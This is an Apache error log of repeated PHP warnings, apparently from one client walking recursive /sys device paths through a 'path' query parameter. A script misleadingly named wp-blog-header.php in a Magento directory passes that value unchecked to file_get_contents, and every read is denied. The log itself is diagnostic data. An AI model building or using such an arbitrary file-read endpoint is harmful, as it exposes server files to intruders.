[Thu Mar 26 10:54:24.817458 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:54:25.346037 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:af/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:54:25.840072 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa
[Thu Mar 26 10:54:31.135492 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 10:54:31.695459 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:ce
[Thu Mar 26 10:54:35.381693 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec
[Thu Mar 26 10:54:40.748203 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:dc
[Thu Mar 26 10:54:45.156725 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ec/subsystem/devices/device:ec
[Thu Mar 26 10:54:45.764258 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc
[Thu Mar 26 10:54:50.123269 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:dd/device:de/subsystem/devices/device:dc
[Thu Mar 26 10:54:50.647110 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:54:51.160260 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca
[Thu Mar 26 10:54:55.384004 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:54:57.395381 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:55:00.514619 2026] [php:warn] [pid 3107086] [client 74.7.241.26:38148] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:da
[Thu Mar 26 10:55:09.277965 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fe
[Thu Mar 26 10:55:18.825127 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:fa
[Thu Mar 26 10:55:21.211307 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fa
[Thu Mar 26 10:55:24.939104 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ff/subsystem/devices/device:aa
[Thu Mar 26 10:55:30.796638 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:aa
[Thu Mar 26 10:55:31.326893 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/devices/device:ec
[Thu Mar 26 10:55:45.206887 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cd/subsystem/drivers/ec
[Thu Mar 26 10:55:48.457267 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/device:ae/subsystem/devices/device:de/subsystem/devices/device:aa
[Thu Mar 26 10:55:49.519424 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:55:52.276618 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ba/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac
[Thu Mar 26 10:55:54.852688 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fd/subsystem/devices/device:cc
[Thu Mar 26 10:55:58.052631 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ac/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bb/subsystem/devices/device:ac
[Thu Mar 26 10:55:58.565311 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/devices/device:cc
[Thu Mar 26 10:56:02.285792 2026] [php:warn] [pid 3106757] [client 74.7.241.26:37438] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:eb/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 10:56:03.447677 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:fd/device:fe
[Thu Mar 26 10:56:04.567772 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:ec
[Thu Mar 26 10:56:09.428237 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:db/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 10:56:10.503950 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:56:11.001189 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ce/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bc
[Thu Mar 26 10:56:12.101440 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ac/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 10:56:13.643466 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:56:17.417284 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cd/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 10:56:17.913209 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:cb/device:cc/subsystem/devices/device:da
[Thu Mar 26 10:56:18.543797 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 10:56:19.096426 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 10:56:20.108013 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fb/subsystem/drivers/ec
[Thu Mar 26 10:56:21.199731 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:aa
[Thu Mar 26 10:56:21.706961 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 10:56:23.292035 2026] [php:warn] [pid 3107086] [client 74.7.241.26:52776] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/subsystem/devices/device:fc
